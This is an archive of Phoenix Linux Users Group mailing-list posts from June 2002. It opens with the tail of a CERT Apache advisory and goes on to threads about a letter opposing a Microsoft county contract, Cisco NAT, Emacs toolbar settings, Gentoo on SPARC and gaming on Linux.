http://rhn.redhat.com/errata/RHSA-2002-103.html > > Unisphere Networks > > The Unisphere Networks SDX-300 Service Deployment System (aka. SSC) > uses Apache 1.3.24. We are releasing Version 3.0 using Apache 1.3.25 > soon, and will be issuing a patch release for SSC Version 2.0.3 in the > very near future. > _________________________________________________________________ > > The CERT/CC thanks Mark Litchfield for reporting this vulnerability to > the Apache Software Foundation, and Mark Cox for reporting this > vulnerability to the CERT/CC. > _________________________________________________________________ > > Author: Cory F. Cohen > ______________________________________________________________________ > > This document is available from: > http://www.cert.org/advisories/CA-2002-17.html > ______________________________________________________________________ > > CERT/CC Contact Information > > Email: cert@cert.org > Phone: +1 412-268-7090 (24-hour hotline) > Fax: +1 412-268-6989 > Postal address: > CERT Coordination Center > Software Engineering Institute > Carnegie Mellon University > Pittsburgh PA 15213-3890 > U.S.A. > > CERT/CC personnel answer the hotline 08:00-17:00 EST(GMT-5) / > EDT(GMT-4) Monday through Friday; they are on call for emergencies > during other hours, on U.S. holidays, and on weekends. > > Using encryption > > We strongly urge you to encrypt sensitive information sent by email. > Our public PGP key is available from > http://www.cert.org/CERT_PGP.key > > If you prefer to use DES, please call the CERT hotline for more > information. > > Getting security information > > CERT publications and other security information are available from > our web site > http://www.cert.org/ > > To subscribe to the CERT mailing list for advisories and bulletins, > send email to majordomo@cert.org. Please include in the body of your > message > > subscribe cert-advisory > > * "CERT" and "CERT Coordination Center" are registered in the U.S. > Patent and Trademark Office. > ______________________________________________________________________ > > NO WARRANTY > Any material furnished by Carnegie Mellon University and the Software > Engineering Institute is furnished on an "as is" basis. Carnegie > Mellon University makes no warranties of any kind, either expressed or > implied as to any matter including, but not limited to, warranty of > fitness for a particular purpose or merchantability, exclusivity or > results obtained from use of the material. Carnegie Mellon University > does not make any warranty of any kind with respect to freedom from > patent, trademark, or copyright infringement. > _________________________________________________________________ > > Conditions for use, disclaimers, and sponsorship information > > Copyright 2002 Carnegie Mellon University. > > Revision History > June 17, 2002: Initial release > > -----BEGIN PGP SIGNATURE----- > Version: PGP 6.5.8 > > iQCVAwUBPQ6RhKCVPMXQI2HJAQHQ7AQAs7nkN3DoS3utJlLUSOrT30PD5FDjSHmu > F3jrO6goHJVpyL5GuliDgrdP1rqZOLr19vbExKo+YMOAGo1R9FQfn6URQMiOsGG7 > KeZGGk/fZBf3n8wrA3fu8CXAW5pTi0lu3kGcLYyBU8cqEEkunEFx/nQPsANcu+fR > FnqtSf7LhQI= > =mZEs > -----END PGP SIGNATURE----- > From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 04:41:21 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Emerson) Date: Mon, 17 Jun 2002 21:41:21 -0700 (MST) Subject: linux at work In-Reply-To: <200206172331.g5HNV5226921@PlugList.MyButt.Net> Message-ID: I've a collection of links, some to the various open source school projects: http://www.technicaljanitors.com/main/who_is_using_linux.php - tom e. -------------------------------------------- On Mon, 17 Jun 2002, charlie bullen wrote: Several of my collegues have been forced to go from WIN98 to XP and they all hate it. I've generated some interest with the multiple virtual desktops on my Suse box. I have the next task in mind, which is to implement the thin client solution that you (Matt Alexander) presented a few weeks ago. THey have 10 or so old computers sitting around ranging from p133s to 566 celerons that could be put to good use. What was the web site for the distro that is being used in Oregon at schools to do the thin client thing. Charlie On Monday 17 June 2002 15:21, you wrote: > Sweet! Keep it up! Your next task, should you choose to accept it, is to > convert your coworker's desktops to Linux. I'll expect a monthly report > on your progress. ;-) ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 05:07:22 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Emerson) Date: Mon, 17 Jun 2002 22:07:22 -0700 (MST) Subject: Maricopa County purchasing policy, based on A.R.S.? Message-ID: Hmm, anybody send a note to the AZ State's attorney general on this? The purchasing policy I remember (dimly remember) from Arizona State University was based on the Arizona Revised Statues. I would hazard a guess that the Maricopa County policy excerpts circulating this list are also based on the A.R.S. Policy can be changed without too much fuss, but policy based on the A.R.S. can't change much without becoming illegal. Considering that several States Attorney General's are still in court, I wonder if any have looked into their own State's purchasing policy and law. - t From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 05:08:50 2002 From: plug-discuss@lists.plug.phoenix.az.us (Tom Achtenberg) Date: Mon, 17 Jun 2002 22:08:50 -0700 Subject: My letter In-Reply-To: References: Message-ID: <200206172208.51026.lists@ybnormal.org> With a little re-wording, I sent it to my school district governing board. (Deer Valley) They mostly come under county rules. If anyone else is in the DV district, here are the email addresses for the board: Joan Bennett jbennett@do.dvusd.org Dr Susan Burke board@do.dvusd.org David Cantelme arizonalawinstitute@yahoo.com Ted Carpenter tcarpenter@do.dvusd.org (He is also a State Rep) Richard Eng reng@do.dvusd.org I'm not sure how much concern they have for technology. Earlier this year they let all their domains expire for about four months. Luck for them Network $olution$ didn't release them. Of course the renewed them at the N$ price of $29 each when they could have used Scottsdale based Go-Daddy for $8.95 each. On Monday 17 June 2002 09:09 pm, Tom Emerson wrote: > Changed "County Council" to read "County Board of Supervisors". Also, put > your email address and telephone number under your address and sig. Real > people with telephones and addresses in the district carry more weight. > If you're not in the district, why should your message be read? > > Everybody, please please proof this, reword if needed. When you send this > message to any of the County Board of Supervisors, it will first be > screened by their staff. This email may, or may not be read by your > Supervisor. > > Variation on the theme may help the message get noticed. Certainly a few > hundred will get attention. > > ------------------------------------------------------------------------- > > > Councilman Brock, > > I am writing you in regards to the news that the Maricopa County Board of > Supervisors is debating an Enterprise Agreement with Microsoft. However, > I have read that according to Maricopa County Policies, Microsoft should > be disqualified from any contractual business with the County. I would like > to declare my support for Microsoft's disqualification. > > According to MC1-902 DEBARMENT AND SUSPENSION OF CONTRACTORS, I read the > following: > > "B. The causes for Debarment or Suspension shall include, but are not > limited to, the following: > 2. Conviction of any Person or any subsidiary or affiliate of any Person > under any statute of the Federal government, this State or its political > subdivision or any other State for: > k. Any other offense indicating a lack of business integrity or business > honesty which affects responsibility as a Contractor. > 3. Conviction or civil judgment finding a violation by any Person or any > subsidiary or affiliate of any Person under State or Federal Antitrust > Statutes." > > Microsoft, having been convicted of Federal Antitrust Statutes (penalties > pending), clearly falls into the catagory described in part 3, and several > court cases past and pending show a clear lack of integrity and business > honesty as outlined in part 2. I cannot find that ANY government body > would be willing to work with such contractors, let alone having rules > against it and clearly ignoring those rules. > > There are many alternatives to Microsofts products. Alternatives that > have broken no laws, Federal or Local, are well supported and used by many > large governments (Germany, Taiwan, et al). As a concerned voter in > Chandler, I must point out that I cannot support criminal behavior and > would hope that my County Board of Supervisors would see fit to do the > same and ONLY consider alternatives as Microsoft is clearly unqualified to > meet County requirements. > > Thank You, > > my name and address > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- Visit my home page at http://www.achtenberg.com Every DAY 24,000 people die of hunger related causes. 18,000 of these are children. Find out how you can help at http://www.Christ4me.com From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 05:32:26 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Pruett) Date: 17 Jun 2002 22:32:26 -0700 Subject: How to upgrade Cisco 675 with linux?-update In-Reply-To: <20020513225128.A1588@texel.localdomain> References: <3CDC131C.3030406@milagrosoft.com> <3CE0556C.3090709@milagrosoft.com> <20020513225128.A1588@texel.localdomain> Message-ID: <1024378348.1643.459.camel@entelin> Well due to the nature of how this sort of NAT works your not going to get past the 678 from the outside unless there is a forwarding rule of some sort. ie: if you forward port 22 ssh the only thing that will hit your linux firewall is everything comming in on 22. This is because its working by tracking the orig of outbound connection and then explicitly allowing the assosiated inbound traffic. Except with 22 which is working in the oposite fassion. This is why you are not getting and suspicious port access's on your linux firewall. Just make shure your 678 is secure. :) On Mon, 2002-05-13 at 22:51, Michael Wittman wrote: > On Mon, May 13, 2002 at 05:08:12PM -0700, Eric Richardson wrote: > > Is anybody using the filtering, NAT, DHCP with cisco and what features > > for the Linux firewall. Maybe this is better for another thread. > > I'm using NAT on my 678. The default NAT settings seem to drop > incoming TCP connection packets, so I haven't even bothered to use > filtering. I assume UDP is dropped as well, based on my (Linux) > firewall logs. I've had to explicitly map some ports on the router to > ports on my Linux box so I could use services like ssh. > > When I was using dialup, I probably had 30 suspicious port access > attempts logged per month on my Linux firewall. With the 678, using > the same Linux firewall rules, I don't think I've seen a single one. > > -Mike > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 06:52:50 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kurt Granroth) Date: Mon, 17 Jun 2002 23:52:50 -0700 Subject: Fwd: LINX JOBS Message-ID: <200206172352.50279@granroth.org> Got a call from this guy. This sounds like the real deal. You can probably guess what "company" this is by the description if you keep up with the corporate support for Linux news. If you are willing to relocate, it sounds like a kick-ass job. ---------- Forwarded Message ---------- Subject: LINX JOBS Date: Monday 17 June 2002 05:21 pm From: "Dennis Reilly" To: "Dennis Reilly" Hi - This is blinded for confidentiality. I'm networking to fill 2 positions with a scientific client that is going with a massively clustered LINUX cluster that will deliver over 8 teraflps. This is a coding position. enhance functionality, develop or know where to find tools. Would necessarily entail cultivating ties to/with Open-Source community. Would pay 80K in low cost of living WA state area. If you are interested or know another who would be, feel free to contact me or pass this on. US Citizenship and college degree is mandatory because this is a Fed involved organization. Should be a dream job for the discriminating LINUX nerd. Thanks, Dennis Reilly - TRIAD Sr. Account Manager 425-454-0282 or 800-514-9155 * Please pardon email errors e.g. capitalization, spelling, etc., as, due to my fractured right wrist, I'm reduced to pecking away, mainly, with my less obedient left =) ------------------------------------------------------- -- Kurt Granroth - "KDE -- Conquer Your Desktop" KDE Developer/Evangelist | granroth@kde.org http://www.granroth.org | kurt@granroth.org From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 14:23:19 2002 From: plug-discuss@lists.plug.phoenix.az.us (David A. Sinck) Date: Tue, 18 Jun 2002 07:23:19 -0700 Subject: Emacs on RH 7.3 References: <1024243844.12004.23.camel@nabla.phx.viz> <200206171334.15485.voltage_spike@fastmail.fm> Message-ID: <15631.16983.877210.720935@magnitude.righthandgraphics.com> \_ SMTP quoth Logan Kennelly on 6/17/2002 13:34 as having spake thusly: \_ \_ -----BEGIN PGP SIGNED MESSAGE----- \_ Hash: SHA1 \_ \_ On Sunday 16 June 2002 09:10 am, Gordon Chamberlin wrote: \_ > Is anyone else annoyed by the new GUI menu bar that emacs now places \_ > right under the text menu bar on a stock installation of Redhat 7.3? \_ \_ Not annoyed, but I do not find it pleasing. \_ \_ > I have looked for a way to remove it, but have been unsuccessful so \_ > far. If anyone could tell me the magic incantation configuration \_ > setting that needs to be invoked, I would be very grateful. I really \_ > want that space back to display information. \_ \_ I just tried M-x tool-bar-mode and that seems to work. If you don't like \_ the scroll bar, then you could use M-x scroll-bar-mode to recover some more \_ space. YMMV, but stuff the following in your .emacs if you want permanent relief: (menu-bar-mode -1) (tool-bar-mode -1) ; 95% sure I'm not running emacs 21 locally so I don't have that config ready to dispense summary justice to tool-bar-mode, but it's something like that. \_ Any suggestions on how to change the type of scroll-bar used so that it \_ doesn't use the GTK tool set (i.e. make it look like the old one)? read the info pages on gtk/scrollbars and see. David From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 15:46:36 2002 From: plug-discuss@lists.plug.phoenix.az.us (Gordon Chamberlin) Date: 18 Jun 2002 08:46:36 -0700 Subject: Emacs on RH 7.3 In-Reply-To: <15631.16983.877210.720935@magnitude.righthandgraphics.com> References: <1024243844.12004.23.camel@nabla.phx.viz> <200206171334.15485.voltage_spike@fastmail.fm> <15631.16983.877210.720935@magnitude.righthandgraphics.com> Message-ID: <1024415199.26887.0.camel@nabla.phx.viz> Thanks Logan and David! On Tue, 2002-06-18 at 07:23, David A. Sinck wrote: > > > \_ SMTP quoth Logan Kennelly on 6/17/2002 13:34 as having spake thusly: > \_ > \_ -----BEGIN PGP SIGNED MESSAGE----- > \_ Hash: SHA1 > \_ > \_ On Sunday 16 June 2002 09:10 am, Gordon Chamberlin wrote: > \_ > Is anyone else annoyed by the new GUI menu bar that emacs now places > \_ > right under the text menu bar on a stock installation of Redhat 7.3? > \_ > \_ Not annoyed, but I do not find it pleasing. > \_ > \_ > I have looked for a way to remove it, but have been unsuccessful so > \_ > far. If anyone could tell me the magic incantation configuration > \_ > setting that needs to be invoked, I would be very grateful. I really > \_ > want that space back to display information. > \_ > \_ I just tried M-x tool-bar-mode and that seems to work. If you don't like > \_ the scroll bar, then you could use M-x scroll-bar-mode to recover some more > \_ space. > > YMMV, but stuff the following in your .emacs if you want permanent > relief: > > (menu-bar-mode -1) > (tool-bar-mode -1) ; 95% sure > > I'm not running emacs 21 locally so I don't have that config ready to > dispense summary justice to tool-bar-mode, but it's something like that. > > \_ Any suggestions on how to change the type of scroll-bar used so that it > \_ doesn't use the GTK tool set (i.e. make it look like the old one)? > > read the info pages on gtk/scrollbars and see. > > David > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > -- Gordon Chamberlin Software Architect Visualize, Inc. http://www.visualizeinc.com (602) 861-0999 ext. 14 glac@visualizeinc.com From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 16:38:56 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Tue, 18 Jun 2002 09:38:56 -0700 Subject: gentoo 1.2 Message-ID: <200206180935.52647.zen2now@qwest.net> good morning plug, question for you guys familiar with gentoo. i noticed they sell a SPARC version, but i also noticed this statement: SPARC CDs for $3.75 USD apiece, and donating 20% of their profits from Gentoo sales to the Gentoo Linux project! :) Note that the i686 CD will allow a build from scratch for *all* systems, but also has pre-built stuff for i686+ CPUs. the Note states that the i686 will allow a build from scratch on *all* systems, does that include the Ultra Sparc II? i want to try gentoo on my Ultra 5, because i have to many stability issues with MDK 7.1 corp. server and i dont like working with Solaris 8. so gentoo sounds like a great alternative for bringing new life to an over priced desktop. slr From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 18:42:58 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jim) Date: Tue, 18 Jun 2002 11:42:58 -0700 Subject: Stammtisch Tonight Message-ID: <02061811425801.01526@nova.wedge.org> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 I might be a little late, but I am planning on getting there. - -- Jim Freedom is worth protecting -----BEGIN PGP SIGNATURE----- Version: PGP 6.5.8 iQA/AwUBPQ9/Misk3ywszI1FEQJxxgCdFu3O7+8D4mrTF0/VMxck2u6BxccAn23M qaREdJz7UXkJuqmczqqePvCE =y8ub -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 21:02:24 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kyle O'Malley) Date: Tue, 18 Jun 2002 14:02:24 -0700 Subject: gentoo 1.2 In-Reply-To: <200206180935.52647.zen2now@qwest.net> References: <200206180935.52647.zen2now@qwest.net> Message-ID: <20020618210224.GA27747@aries.evilmascot.com> The i686 disk has install stages 1-3 on the disk, they must be refering to the fact that if you build and compile starting from stage1 you can have a working system on any i386+ while stage3 has everything precompiled but only supports i686+. The last version I needed to install from was 1.1, which only included a i386 kernel to install from, I can't see how they'd some how muck install kernels for two diff architectures onto one cd (not to mention I doubt the el torito boodable cd standardworks on sparc machines). -Kyle On Tue, Jun 18, 2002 at 09:38:56AM -0700, slr wrote: > good morning plug, > > question for you guys familiar with gentoo. i > noticed they sell a SPARC version, but i also noticed this statement: > > SPARC CDs for $3.75 USD apiece, and donating 20% of their profits from Gentoo > sales to the Gentoo Linux project! :) Note that the i686 CD will allow a > build from scratch for *all* systems, but also has pre-built stuff for i686+ > CPUs. > > the Note states that the i686 will allow a build from scratch on *all* > systems, does that include the Ultra Sparc II? i want to try gentoo on my > Ultra 5, because i have to many stability issues with MDK 7.1 corp. server > and i dont like working with Solaris 8. so gentoo sounds like a great > alternative for bringing new life to an over priced desktop. > > slr > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 21:24:25 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mark Berkwitt) Date: Tue, 18 Jun 2002 14:24:25 -0700 Subject: Does Linux do games well? Message-ID: How good is linux for games? Linux has a rep for running more efficiently on older hardware than W*. Is there a website that lists games available to linux and minimal hardware needed for them? From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 21:36:14 2002 From: plug-discuss@lists.plug.phoenix.az.us (Joel Dudley) Date: Tue, 18 Jun 2002 14:36:14 -0700 Subject: Does Linux do games well? Message-ID: <7D2FB294FA311F4299D03CC8D3904370716582@mainex5.asu.edu> This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. --Boundary_(ID_4+x7UW/Z60L5uhirSmVvIw) Content-type: text/plain; charset="iso-8859-1" The Nvidia drivers for Linux are very nice. Tom's hardware has shown that they are faster than their windows counterparts. Of course Loki is down the toilet but their games still run well. Many games, like Quake 3 and the upcoming Neverwinter Nights, have a native linux code base and run very quick. Of course game performance is largely influenced by your video card and available RAM. TransGaming has DirectX implemented on Linux but games running under their DirectX implementation lose quite a bit a frame rate relative to their performance under windows. It is getting better every day however. I have played Sim City 3K and Quake 3 on my Linux box and thoroughly enjoyed the experience. Joel Dudley Faculty Research Associate Arizona State University Kumar Laboratory of Evolutionary Functional Genomics http://lsweb.la.asu.edu/skumar/ -----Original Message----- From: Mark Berkwitt [mailto:mberkwitt@cox.net] Sent: Tuesday, June 18, 2002 2:24 PM To: PLUG Subject: Does Linux do games well? How good is linux for games? Linux has a rep for running more efficiently on older hardware than W*. Is there a website that lists games available to linux and minimal hardware needed for them? ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --Boundary_(ID_4+x7UW/Z60L5uhirSmVvIw) Content-type: text/html; charset="iso-8859-1" Content-transfer-encoding: quoted-printable RE: Does Linux do games well?

The Nvidia drivers for Linux are very nice. Tom's = hardware has shown that they are faster than their windows = counterparts. Of course Loki is down the toilet but their games still = run well. Many games, like Quake 3 and the upcoming Neverwinter Nights, = have a native linux code base and run very quick. Of course game = performance is largely influenced by your video card and available RAM. = TransGaming has DirectX implemented on Linux but games running under = their DirectX implementation lose quite a bit a frame rate relative to = their performance under windows. It is getting better every day = however. I have played Sim City 3K and Quake 3 on my Linux box and = thoroughly enjoyed the experience.

Joel Dudley
Faculty Research Associate
Arizona State University
Kumar Laboratory of Evolutionary Functional = Genomics
http://lsweb.la.asu.edu/skumar/


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How good is linux for games?

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= --Boundary_(ID_4+x7UW/Z60L5uhirSmVvIw)-- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 21:45:38 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Tue, 18 Jun 2002 14:45:38 -0700 Subject: Does Linux do games well? In-Reply-To: References: Message-ID: <200206181445.38509.zen2now@qwest.net> linuxgames.com is a great link for linux games if you have the 3D hardware and the most recent vid. drv. to play the newer games, then i would say YES!!! linux is great for playing games, Wolfenstein plays better for me in linux than is does in Windoze, as does Soldier of Fortune. UT runs great as well as TO, and Q2 & Q3 and Q3 Team Arena play great in Linux. Actually i enjoy playing games in Linux better than Windoze, but there just isnt enough titles, and now with Loki gone the future is somewhat dim. slr On Tuesday 18 June 2002 02:24 pm, Mark Berkwitt wrote: > How good is linux for games? > > Linux has a rep for running more efficiently on older hardware than W*. > Is there a website that lists games available to linux and minimal hardware > needed for them? > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 21:57:28 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Tue, 18 Jun 2002 14:57:28 -0700 Subject: Does Linux do games well? In-Reply-To: References: Message-ID: <200206181457.28864.zen2now@qwest.net> one other thing, check out transgaming's Wine-X project. they have been able to run many of the current gaming titles, but from what i have read on the benchmarking the performance is very poor compared to the Native Linux games or its Windoze counterpart. slr On Tuesday 18 June 2002 02:24 pm, Mark Berkwitt wrote: > How good is linux for games? > > Linux has a rep for running more efficiently on older hardware than W*. > Is there a website that lists games available to linux and minimal hardware > needed for them? > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 21:59:26 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mark Berkwitt) Date: Tue, 18 Jun 2002 14:59:26 -0700 Subject: Does Linux do games well? In-Reply-To: Message-ID: I was thinking of those old simple 2D games that were basically nonviolent. From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 22:03:45 2002 From: plug-discuss@lists.plug.phoenix.az.us (Larry Lauer) Date: Tue, 18 Jun 2002 15:03:45 -0700 Subject: Does Linux do games well? Message-ID: <2AAC72149C827944B96C854ABD0BCAFF1A4DF0@azmscorp01.corp.azms> You can also check out transgaming.com. Hoping they will get Dark Age of Camelot working then I can say goodbye to wintendo for good. Larry -----Original Message----- From: slr [mailto:zen2now@qwest.net] Sent: Tuesday, June 18, 2002 2:46 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Does Linux do games well? linuxgames.com is a great link for linux games if you have the 3D hardware and the most recent vid. drv. to play the newer games, then i would say YES!!! linux is great for playing games, Wolfenstein plays better for me in linux than is does in Windoze, as does Soldier of Fortune. UT runs great as well as TO, and Q2 & Q3 and Q3 Team Arena play great in Linux. Actually i enjoy playing games in Linux better than Windoze, but there just isnt enough titles, and now with Loki gone the future is somewhat dim. slr On Tuesday 18 June 2002 02:24 pm, Mark Berkwitt wrote: > How good is linux for games? > > Linux has a rep for running more efficiently on older hardware than W*. > Is there a website that lists games available to linux and minimal hardware > needed for them? > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 22:02:35 2002 From: plug-discuss@lists.plug.phoenix.az.us (Joel Dudley) Date: Tue, 18 Jun 2002 15:02:35 -0700 Subject: Does Linux do games well? Message-ID: <7D2FB294FA311F4299D03CC8D3904370716583@mainex5.asu.edu> This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. --Boundary_(ID_Zv+ZyRYXX8fUNIsxlIJxjw) Content-type: text/plain; charset="iso-8859-1" Sim City 3K from Loki is fun in that case. -----Original Message----- From: Mark Berkwitt [mailto:mberkwitt@cox.net] Sent: Tuesday, June 18, 2002 2:59 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: RE: Does Linux do games well? I was thinking of those old simple 2D games that were basically nonviolent. ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss --Boundary_(ID_Zv+ZyRYXX8fUNIsxlIJxjw) Content-type: text/html; charset="iso-8859-1" Content-transfer-encoding: quoted-printable RE: Does Linux do games well?

Sim City 3K from Loki is fun in that case.

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I was thinking of those old simple 2D games that were = basically nonviolent.



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= --Boundary_(ID_Zv+ZyRYXX8fUNIsxlIJxjw)-- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 22:11:20 2002 From: plug-discuss@lists.plug.phoenix.az.us (jon@unfm00.com) Date: Tue, 18 Jun 2002 18:11:20 -0400 Subject: Does Linux do games well? Message-ID: I love Q3! I don't know what i would do without quake3.... Original Message: ----------------- From: slr zen2now@qwest.net Date: Tue, 18 Jun 2002 14:45:38 -0700 To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Does Linux do games well? linuxgames.com is a great link for linux games if you have the 3D hardware and the most recent vid. drv. to play the newer games, then i would say YES!!! linux is great for playing games, Wolfenstein plays better for me in linux than is does in Windoze, as does Soldier of Fortune. UT runs great as well as TO, and Q2 & Q3 and Q3 Team Arena play great in Linux. Actually i enjoy playing games in Linux better than Windoze, but there just isnt enough titles, and now with Loki gone the future is somewhat dim. slr On Tuesday 18 June 2002 02:24 pm, Mark Berkwitt wrote: > How good is linux for games? > > Linux has a rep for running more efficiently on older hardware than W*. > Is there a website that lists games available to linux and minimal hardware > needed for them? > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -------------------------------------------------------------------- mail2web - Check your email from the web at http://mail2web.com/ . From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 22:18:29 2002 From: plug-discuss@lists.plug.phoenix.az.us (slr) Date: Tue, 18 Jun 2002 15:18:29 -0700 Subject: Does Linux do games well? In-Reply-To: References: Message-ID: <200206181518.29569.zen2now@qwest.net> oh, well that i am not sure about. i'm a 3D shooter guy, and i like flight sims and racing sims. but i use to play with this Arcade emulator that was great, played all the old Arcade games that i enjoyed playing as a kid. i cant remember the name of it, but if you look hard enough i know you can find an arcade emulator for Linux. but linux comes with many 2D non-violent games, what titles are you wanting to run? slr On Tuesday 18 June 2002 02:59 pm, Mark Berkwitt wrote: > I was thinking of those old simple 2D games that were basically nonviolent. > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 22:20:34 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Tue, 18 Jun 2002 15:20:34 -0700 (PDT) Subject: Does Linux do games well? In-Reply-To: <200206181457.28864.zen2now@qwest.net> Message-ID: Several years ago when I was completely addicted to StarCraft, I played it through Wine on Linux. It worked fine. Just make sure you have a zippy computer. ~M On Tue, 18 Jun 2002, slr wrote: > one other thing, check out transgaming's Wine-X project. they have been able > to run many of the current gaming titles, but from what i have read on the > benchmarking the performance is very poor compared to the Native Linux games > or its Windoze counterpart. > > slr > > On Tuesday 18 June 2002 02:24 pm, Mark Berkwitt wrote: > > How good is linux for games? > > > > Linux has a rep for running more efficiently on older hardware than W*. > > Is there a website that lists games available to linux and minimal hardware > > needed for them? > > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 22:23:35 2002 From: plug-discuss@lists.plug.phoenix.az.us (MCR) Date: Tue, 18 Jun 2002 15:23:35 -0700 (PDT) Subject: Does Linux do games well? In-Reply-To: <2AAC72149C827944B96C854ABD0BCAFF1A4DF0@azmscorp01.corp.azms> Message-ID: <20020618222335.32974.qmail@web13908.mail.yahoo.com> Here is one I recently came across: http://www.linuxgaming.co.uk/ mike --- Larry Lauer wrote: > You can also check out transgaming.com. Hoping they > will get Dark Age of Camelot working then I can say > goodbye to wintendo for good. > > Larry > 